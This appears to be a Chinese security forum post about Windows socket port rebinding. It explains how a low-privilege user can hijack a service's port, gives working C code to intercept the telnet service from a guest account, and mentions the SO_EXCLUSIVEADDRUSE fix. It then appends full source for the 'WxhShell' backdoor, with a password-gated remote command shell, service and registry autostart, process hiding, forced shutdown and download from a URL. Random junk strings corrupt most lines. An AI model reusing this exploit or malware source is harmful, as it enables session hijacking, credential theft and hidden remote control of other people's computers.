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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v 1z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ej4W{IN~:  
{ QHVo#  
  saddr.sin_family = AF_INET; l6YtEHNG  
/^X/8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I/d&G#:~  
Rn`x7(WA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b$ve sJ  
}.3nthgz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1|kvPo#  
;1`fC@rI  
  这意味着什么?意味着可以进行如下的攻击: #!aN{nK0  
{1V($aBl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D7lK30  
4]G?G]lS>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @wpN6 /   
YQ+tDZY8`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #E? (vA1  
Mr;E<Lj ^K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,k{#S?:b  
(i34sqV$m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z*y`R XE  
d F9!G;V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CdasP9"1  
y4*U6+#.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A'q#I>j`  
TD1 [  
  #include &Q;sSIc  
  #include Ss~;m']68  
  #include "x=f=;  
  #include    i@P)a'W_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   < ,Ue 0  
  int main() ?o oe'V@  
  { |]J>R  
  WORD wVersionRequested; l>Z5 uSG  
  DWORD ret; .z)%)PVV  
  WSADATA wsaData; o7J  
  BOOL val; PZE0}>z  
  SOCKADDR_IN saddr; &u /Nf&A  
  SOCKADDR_IN scaddr; 1T y<\bZ=  
  int err; *AoR==:ya  
  SOCKET s; O4r0R1VQM  
  SOCKET sc; SH_(rQby  
  int caddsize; zm]aU`j  
  HANDLE mt; /tP|b _7O  
  DWORD tid;   BGOuDKz9C  
  wVersionRequested = MAKEWORD( 2, 2 ); v1BDP<qU2  
  err = WSAStartup( wVersionRequested, &wsaData ); jT8#C=a7  
  if ( err != 0 ) { e\Y*F  
  printf("error!WSAStartup failed!\n"); mz @T  
  return -1; RIb4!!',c  
  } )-0kb~;|  
  saddr.sin_family = AF_INET; B:gjAb}9T  
   /4a._@1h[y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (8Bk;bd  
19O,a#{KHf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $^OvhnL/  
  saddr.sin_port = htons(23); =+U `-J} g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d]:I(9K  
  { w8kOVN2b  
  printf("error!socket failed!\n"); ]$Yvj!K*Q  
  return -1; Fs{x(_LOr  
  } &j4xgh9  
  val = TRUE; a= DcZ_M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e?7& M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c0%"&a1]]V  
  { iVB86XZ`  
  printf("error!setsockopt failed!\n"); wF|fK4F  
  return -1; }._eIx"  
  } A6:es_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k"NVV$;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DE%KW:Hug  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3gv|9T  
]z l [H7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 99:C"`E{  
  { n` xR5!de  
  ret=GetLastError(); *a58ZI@  
  printf("error!bind failed!\n"); k p<OJy  
  return -1; }emN9Rj  
  } 2 $?C7(kW  
  listen(s,2); -i)ZQCE  
  while(1) Zb1<:[  
  { q:dHC,fO  
  caddsize = sizeof(scaddr); Z8rvWH9  
  //接受连接请求 c lNkph  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~(Q)"s\1I  
  if(sc!=INVALID_SOCKET) :^kZ.6Q@  
  { x 7~r,x(xM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ag&0wN+jTM  
  if(mt==NULL) Z?%zgqTXb  
  { `&D|>tiz  
  printf("Thread Creat Failed!\n"); (vb SM}P  
  break; }o L'8-y  
  } q OSM}ei>s  
  } QV {}K  
  CloseHandle(mt); K{[%7AM  
  } 4<% *E{`  
  closesocket(s); nq6@6GRG  
  WSACleanup(); QlJ)F{R8il  
  return 0; yp$_/p O=2  
  }   xn5l0'2  
  DWORD WINAPI ClientThread(LPVOID lpParam) pgOQIzu  
  { KO]T<R h<  
  SOCKET ss = (SOCKET)lpParam; eu(:`uu  
  SOCKET sc; nHm}zOLc  
  unsigned char buf[4096]; MFb9H{LA  
  SOCKADDR_IN saddr;  OU8Lldt  
  long num; Wzw7tLY._  
  DWORD val; rd9e \%A  
  DWORD ret; =K6($|'=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MhR:c7,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *.!Np9l,V  
  saddr.sin_family = AF_INET; .Yf:[`Q6g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VxVE  
  saddr.sin_port = htons(23); dYL"h.x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (+B5|_xQu  
  { 4"(<X  
  printf("error!socket failed!\n"); S" xKL{5  
  return -1; R:#k%}W  
  } nPye,"A Ol  
  val = 100; CitDm1DXt/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }[ 4r4 1[  
  { ~g5[$r-u-u  
  ret = GetLastError(); 8=gjY\Dp  
  return -1; M+w=O!dq  
  } !"\80LP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J[4mL U  
  { k~jP'aD  
  ret = GetLastError(); h"_MA_]~  
  return -1; dHv68*^\'  
  } BDR.AZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8xccp4  
  { i(>4wK!!  
  printf("error!socket connect failed!\n"); ;*:Pw?'  
  closesocket(sc); y#q?A,C@n  
  closesocket(ss); b)=[1g/=L  
  return -1; /+@p7FqlE  
  } }Q=!Y>Tc  
  while(1) eA#;AQm  
  { T3k#VNH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vvKEv/pN7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A1.7 O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zmSUw}-4 N  
  num = recv(ss,buf,4096,0); b/C`J p  
  if(num>0) ><gG8MH0'  
  send(sc,buf,num,0); kic/*v\6@  
  else if(num==0) YgUvOyaQXf  
  break; 4`!Z$kt  
  num = recv(sc,buf,4096,0); Jo@|"cE=  
  if(num>0) JV]^zW  
  send(ss,buf,num,0); >_|O1H./4  
  else if(num==0) Z yE `/J'  
  break; A'jP7 P  
  } *a#rM"6P  
  closesocket(ss); Fsif6k=4  
  closesocket(sc); NhaI<J  
  return 0 ; 1 D<_N  
  } [Pq}p0cD  
|MFF7z{%  
yIDD@j=l  
========================================================== \}p6v}  
 DX"xy  
下边附上一个代码,,WXhSHELL p2DrEId  
w*oQ["SL  
========================================================== 9983aFam  
?e,pN,4  
#include "stdafx.h" @U3Vc|  
e^<#53!  
#include <stdio.h> QA5Qwe L  
#include <string.h> K }Vv4x1U  
#include <windows.h> XqW@rU  
#include <winsock2.h> ]3KhgK%c8  
#include <winsvc.h> CS==A57I  
#include <urlmon.h> Gu2P\I2zx  
d5D$&5Ec  
#pragma comment (lib, "Ws2_32.lib") Q 4f/Z  
#pragma comment (lib, "urlmon.lib") YN!>}  
n~A%q,DmF  
#define MAX_USER   100 // 最大客户端连接数 2\7`/,U6  
#define BUF_SOCK   200 // sock buffer :k.NbN$i\  
#define KEY_BUFF   255 // 输入 buffer pO ml8SQf  
%2XHNW  
#define REBOOT     0   // 重启 rld67'KcE  
#define SHUTDOWN   1   // 关机 `<\1[HJ\  
X&0 uI*r  
#define DEF_PORT   5000 // 监听端口 @> E2?CV  
2ioQb`=  
#define REG_LEN     16   // 注册表键长度 Bh=u|8yxc  
#define SVC_LEN     80   // NT服务名长度 }T%}wdj  
nIU6h  
// 从dll定义API 1rkE yh??  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B:!W$ <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )FpZPdN+h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V{^!BBQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V??dYB(  
q^r#F#*1l  
// wxhshell配置信息 89wU-Aggq  
struct WSCFG { oE(7v7iY  
  int ws_port;         // 监听端口 uoXAQ6k  
  char ws_passstr[REG_LEN]; // 口令 L7V G`h;  
  int ws_autoins;       // 安装标记, 1=yes 0=no = Wu *+paQ  
  char ws_regname[REG_LEN]; // 注册表键名 bZ|FnY}FB  
  char ws_svcname[REG_LEN]; // 服务名 d"6&AJ5a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,:Lb7bFv>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?zQA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K9OYri^TQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M $Es%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .8P.)%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p TeOW9  
"87ghj_}  
}; K00 87}H  
s;64N'HH  
// default Wxhshell configuration V}SBuQp"  
struct WSCFG wscfg={DEF_PORT, XI9js{p  
    "xuhuanlingzhe", uwjGDw  
    1, ^Nmg07_R  
    "Wxhshell", A` AaTP  
    "Wxhshell", 4*'pl.rb>  
            "WxhShell Service", IaT$ 6\>  
    "Wrsky Windows CmdShell Service", sfOHarww  
    "Please Input Your Password: ", 6Qx#%,U^ J  
  1, /yZQ\{=  
  "http://www.wrsky.com/wxhshell.exe", I+dbZBX  
  "Wxhshell.exe" FKT1fv[H  
    }; ui@2s;1t  
LWHd~"eU  
// 消息定义模块 kn>$lTHQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8`fjF/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $`- 4Ax4%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =Q[b'*o7  
char *msg_ws_ext="\n\rExit."; T+<A`k: -  
char *msg_ws_end="\n\rQuit."; `/~8}Y{  
char *msg_ws_boot="\n\rReboot..."; -tyK~aasQ  
char *msg_ws_poff="\n\rShutdown..."; ngat0'oa  
char *msg_ws_down="\n\rSave to "; /l<<_uk$  
1$81E.  
char *msg_ws_err="\n\rErr!"; 7 <Q5;J&;  
char *msg_ws_ok="\n\rOK!"; )I$q5%q8  
;\\@q"n%<  
char ExeFile[MAX_PATH]; Vgyew9>E  
int nUser = 0; tX"Th'Qi  
HANDLE handles[MAX_USER]; ,I_^IitN  
int OsIsNt; HfvTxaK  
Ie4hhW  
SERVICE_STATUS       serviceStatus; S}ECW,K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]f_6 '|5 A  
TW9WMId  
// 函数声明 'I /aboDB  
int Install(void); Ko/ I#)  
int Uninstall(void); ]s GHG^I6  
int DownloadFile(char *sURL, SOCKET wsh); K%X^n>O7C  
int Boot(int flag); ,$ ^C4I  
void HideProc(void); aN $}?  
int GetOsVer(void); +C(/ Lyo}  
int Wxhshell(SOCKET wsl); EB_NK  
void TalkWithClient(void *cs); ea 00\  
int CmdShell(SOCKET sock); zA!0l*H  
int StartFromService(void); w&B#goS  
int StartWxhshell(LPSTR lpCmdLine); ]<q[Do8k  
qg}O/K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *L'>U[Pl7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jD`d#R  
]Wq?H-B{  
// 数据结构和表定义 ~DsECnD  
SERVICE_TABLE_ENTRY DispatchTable[] = V]vc(rH  
{ F`9ZH.  
{wscfg.ws_svcname, NTServiceMain}, jvV9eA:zl  
{NULL, NULL} zKsz*xv6b  
}; v !FMs<  
{s_+?<l  
// 自我安装 Gsc\/4Wx  
int Install(void) Z+StB15  
{ 3:f[gV9K  
  char svExeFile[MAX_PATH]; r@o6voX  
  HKEY key; 0`I-2M4F*Q  
  strcpy(svExeFile,ExeFile); Iy.rqc/86  
-p E(_  
// 如果是win9x系统,修改注册表设为自启动 pOrWg@<\L  
if(!OsIsNt) { yH<$k^0r*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EgDQ+( -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H=\!2XS  
  RegCloseKey(key); )5.C]4jol  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W{rt8^1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &%_& 8DkG  
  RegCloseKey(key); 8B#GbS K  
  return 0; M!tXN&V]  
    } b77>$[xB  
  } @mBX~ ?=Z3  
} ??i4z[0M  
else { w1|A5q'M  
f*24)Wn<  
// 如果是NT以上系统,安装为系统服务 l?q%?v8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %Jf<l&K .`  
if (schSCManager!=0) }h}<! s  
{ 6Vbzd0dk  
  SC_HANDLE schService = CreateService 7oR:1DX w|  
  ( ) 9oH,gZ  
  schSCManager, )#}mH@  
  wscfg.ws_svcname, U7DCx=B  
  wscfg.ws_svcdisp, DtEwW1J  
  SERVICE_ALL_ACCESS, d|*"IFe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wV)}a5+  
  SERVICE_AUTO_START, \xUe/=  
  SERVICE_ERROR_NORMAL, N*@aDM07  
  svExeFile, d.2mT?`#  
  NULL, V`-vR2(  
  NULL, n?:=  
  NULL, zA;@@)hwR  
  NULL, XZ/[v8  
  NULL BnM4T~reOF  
  ); I Nc^L  
  if (schService!=0) Go&D[#  
  { @y/wEBb  
  CloseServiceHandle(schService); {q3H5csFq  
  CloseServiceHandle(schSCManager); wM _ 6{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gXH[$guf  
  strcat(svExeFile,wscfg.ws_svcname); kGUJ9Du  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~Gqno  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5c;h &  
  RegCloseKey(key); Zv_jy@k  
  return 0; o1/lZm{\~n  
    } uyF|O/FC  
  } n6(.{M;  
  CloseServiceHandle(schSCManager); ^o !O)D-q  
} A~dQ\M  
} L}yyaM)  
/n4pXT  
return 1; o|j*t7  
} /S\cU`ZVe  
AC.A'|"]i  
// 自我卸载 dk==?  
int Uninstall(void) j2P n<0U  
{ 1'4J[S\cM  
  HKEY key; nCKbgM'"  
gs W0  
if(!OsIsNt) { YUdxG/~'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,b$2=JO'f  
  RegDeleteValue(key,wscfg.ws_regname); T`9-VX;`  
  RegCloseKey(key); TFepxF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xm4CKuU@  
  RegDeleteValue(key,wscfg.ws_regname);  YOAn4]j  
  RegCloseKey(key); c:l]=O   
  return 0; 2 /y}a#s  
  } oR*=|B  
} RAjkH`  
} ~=Ncp9ej#  
else { rz(0:vxwA  
Q8MS,7y/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m4[g6pNx~  
if (schSCManager!=0) ? /JBt /b  
{ hGf-q?7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GyC/_ntn  
  if (schService!=0) pX=,iOF[I  
  { dP>w/$C}  
  if(DeleteService(schService)!=0) { J@9}`y=K  
  CloseServiceHandle(schService); 4q$H  
  CloseServiceHandle(schSCManager); T#O??3/%$1  
  return 0; jvVi%k  
  } $A}QY5`+~S  
  CloseServiceHandle(schService); !eJCM`cp  
  } ,5|d3dJS  
  CloseServiceHandle(schSCManager); #' hLb  
} F8+e,x  
} s^T+5 E&}  
somfv$'B  
return 1; )uLr?$qe  
} 9B +wYJp  
M)cGz$Q|  
// 从指定url下载文件 /dDzZ%/@  
int DownloadFile(char *sURL, SOCKET wsh) E-1"+p  
{ ^UA(HthY  
  HRESULT hr; ]Fb0Az  
char seps[]= "/"; Qeb}!k2A  
char *token; xiyxr R;  
char *file; \O7J=6fn  
char myURL[MAX_PATH]; XV'fW~j\  
char myFILE[MAX_PATH]; yW.COWL=)  
L<(VG{)Z  
strcpy(myURL,sURL); Zwe[_z!*D  
  token=strtok(myURL,seps); J Lb6C 52  
  while(token!=NULL) x:t<ZG&Xwg  
  { ~k'V*ERNSj  
    file=token; (3*UPZv  
  token=strtok(NULL,seps); &2EBk=X  
  } nE y]`  
tk/`%Q  
GetCurrentDirectory(MAX_PATH,myFILE); *(cU]NUH_  
strcat(myFILE, "\\"); YYRT.U'  
strcat(myFILE, file); $gp!w8h  
  send(wsh,myFILE,strlen(myFILE),0); "D* Wi7  
send(wsh,"...",3,0); &B!%fd.'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w5]l1}rl  
  if(hr==S_OK) J -Qh/d%]  
return 0; S:Tm23pe  
else ' eO/PnYW  
return 1; CsSp=(  
sa1mC  
} v@G4G*x\  
| W#~F&{]  
// 系统电源模块 OYf{?-QD  
int Boot(int flag) ~_!ts{[E  
{ Xz;b,C&*t  
  HANDLE hToken; .F0]6#(  
  TOKEN_PRIVILEGES tkp; a%hGZCI  
>Csbjf6  
  if(OsIsNt) { ^Y^"'"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c!&Qj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {@M14)-x>_  
    tkp.PrivilegeCount = 1; FQf #*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xy#V Q{!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JZ`L%  
if(flag==REBOOT) { N_C_O$j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <?$kI>Ot  
  return 0; H?}wl%  
} Kla:e[{  
else { um8AdiK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R9. HD?H@  
  return 0; ~4 FDKU C  
} g=A$<k  
  } yBz >0I3  
  else { >zL |8f  
if(flag==REBOOT) { 7unA"9=[4V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \iMyo  
  return 0; E!aq?`-'!  
} +Z? [M1g  
else { q|q:: q*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Hcaw   
  return 0; @)sc6 *lnW  
} wsg//Ec]  
} FU@uH U5fd  
Wp*sP Z  
return 1; R'EW7}&  
} U($^E}I2(  
L? ;/cO^  
// win9x进程隐藏模块 ,0T)Oc|HL/  
void HideProc(void) - 8syjKTg  
{ <q7s`,rG  
^now}u9S6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NyJnOw(  
  if ( hKernel != NULL ) 4/L>&%8V  
  { umDtp\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IYNMU\s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MOV =n75  
    FreeLibrary(hKernel); |t\KsW  
  } e?)yb^7K  
!b%,'fy)  
return; ||a`fH  
} T|f_~#?eV  
Tcs3>lJ}   
// 获取操作系统版本 v_-ls"l  
int GetOsVer(void) >5i?JUZ  
{ 0^>E`/  
  OSVERSIONINFO winfo; i$#,XFFp~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GUCM4jVT^  
  GetVersionEx(&winfo); uAb 03Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $i&\\QNn  
  return 1; T` ;k!F46  
  else L; C|ow^c  
  return 0; s<{GpWT8  
} -ddOh<U>  
m9g^ -X  
// 客户端句柄模块 }9Q f#&o  
int Wxhshell(SOCKET wsl) ,'-?:`hP'  
{ ZPYH#gC& T  
  SOCKET wsh; jmPp-} tS7  
  struct sockaddr_in client; S%V%!803!  
  DWORD myID; nB}e1 /_y  
~mcZUiP9  
  while(nUser<MAX_USER) H8"tbU  
{ o@@w^##  
  int nSize=sizeof(client); vUfO4yfdg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F=5kF/}x-z  
  if(wsh==INVALID_SOCKET) return 1; Ko-QR(  
tz8t9lb[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ey = 4 b  
if(handles[nUser]==0) coO.kTO;  
  closesocket(wsh); ULbP_y>(Y  
else #x|VfN5f  
  nUser++; 7n>|D^  
  } Gavkil  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .ftUhg  
J<-Fua^  
  return 0; ]h!*T{:  
} ~6fRS2u  
cB36p&%  
// 关闭 socket .6I%64m  
void CloseIt(SOCKET wsh) G%`cJdM  
{ |Qq+8IeYG  
closesocket(wsh); ]Qy,#p'~&H  
nUser--; q\G{]dz?R  
ExitThread(0); j>g9\i0O1  
} DUPmq!A  
jM;d>Gymx  
// 客户端请求句柄 tQCj)Ms'X  
void TalkWithClient(void *cs) Z0z)  
{ L]a|vp  
%SFw~%@3&~  
  SOCKET wsh=(SOCKET)cs; y (ldO;.  
  char pwd[SVC_LEN]; e7wKjt2fy  
  char cmd[KEY_BUFF]; 6z`8cI+LRw  
char chr[1]; ]d~MEa9Y|  
int i,j; 7Fc |  
wtUG^hV #_  
  while (nUser < MAX_USER) { QJ6f EV$~  
_BCT.ual  
if(wscfg.ws_passstr) { *ig5Q(b*N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ur`V{9g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9cbB[c_.  
  //ZeroMemory(pwd,KEY_BUFF); 0YHYxn  
      i=0; 3 dY6;/s  
  while(i<SVC_LEN) { p\)h",RkA  
"9.6\Y\*  
  // 设置超时 ~v,!n/('  
  fd_set FdRead; hXBqz9  
  struct timeval TimeOut; Zm5nLxM  
  FD_ZERO(&FdRead); ]#+5)[N$>  
  FD_SET(wsh,&FdRead); ; S{ZC5  
  TimeOut.tv_sec=8; q w"e0q%)  
  TimeOut.tv_usec=0; G+;g:_E=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @D2`*C9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <,#rtVO$  
5@""_n&FV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d?E4[7<t$1  
  pwd=chr[0]; EywZIw?mjX  
  if(chr[0]==0xd || chr[0]==0xa) { rHR5,N:  
  pwd=0; ..]B9M.  
  break; c '/2F0y  
  } b<48#Qy~l  
  i++; ,\Z8*Jr3Q  
    } '$lw[1  
d9ZDpzx B  
  // 如果是非法用户,关闭 socket 7=AO^:=bx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C[^a/P`i  
} ?T~3B]R  
FP0<-9DO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y'\3ux0]4'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o(vZ*^\  
x Xl$Mp7  
while(1) { eDvXU_yA  
Es_ SCWJ  
  ZeroMemory(cmd,KEY_BUFF); [UUM^!1  
>V3W>5X  
      // 自动支持客户端 telnet标准   6eVe}V4W  
  j=0; r(748Qc4f?  
  while(j<KEY_BUFF) { ,2Sv1v$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O7E;W| ]  
  cmd[j]=chr[0]; (%=lq#,   
  if(chr[0]==0xa || chr[0]==0xd) { b'i%B9yU:%  
  cmd[j]=0; u_$6LEp-  
  break; #IcT @(  
  } s#4))yUR6Z  
  j++; )3d:S*ly  
    } _AA`R`p;  
bi,rMgW  
  // 下载文件 c'>8pd  
  if(strstr(cmd,"http://")) { 0^_)OsFA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ">v_uq a  
  if(DownloadFile(cmd,wsh)) C _ k_D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); im_0ur&'  
  else -uS7~Ww.a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e{d_p%(  
  } 'bd=,QW  
  else { 7~QwlU3n<F  
zcbA)  
    switch(cmd[0]) { 9;'>\ImI  
  V~tu<"%  
  // 帮助 K'ed5J  
  case '?': { 4c9-[KKCV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jp\JwE  
    break; oQKcGUZ  
  } [ 7CH(o1a&  
  // 安装 j.e`ip  
  case 'i': { s7X~OF(#  
    if(Install()) C[HE4xF6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VbY>l' rY  
    else =iPd@f"$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rYP8V >  
    break; &St~!y6M?  
    } ueS[sN!  
  // 卸载 U{.+*e18  
  case 'r': { 'R-JQ E-]  
    if(Uninstall()) #m[w=Pu}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Ix'2v  
    else (>kBmK1Aj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '3Y0D1`v  
    break; \^^hG5f  
    } 4%Z\G@0<'  
  // 显示 wxhshell 所在路径 P,+ 0   
  case 'p': { 2t~7eI%d  
    char svExeFile[MAX_PATH]; )yz9? ]a  
    strcpy(svExeFile,"\n\r"); J_)z:`[yE  
      strcat(svExeFile,ExeFile); ! S$oaCxM  
        send(wsh,svExeFile,strlen(svExeFile),0); Ve')LY<  
    break; )PanJHtU  
    } 8EVF<@{]  
  // 重启 }(hYG"5  
  case 'b': { *=KexOa9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '44nk(hM69  
    if(Boot(REBOOT)) tS*^}e*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cnjj) c  
    else { t8wz'[z  
    closesocket(wsh); -;DE&~p  
    ExitThread(0); "|~B};|MFF  
    } EZa{C}NQ$2  
    break; QL|:(QM  
    } E|6Z]6[  
  // 关机 kcZ;SYosj  
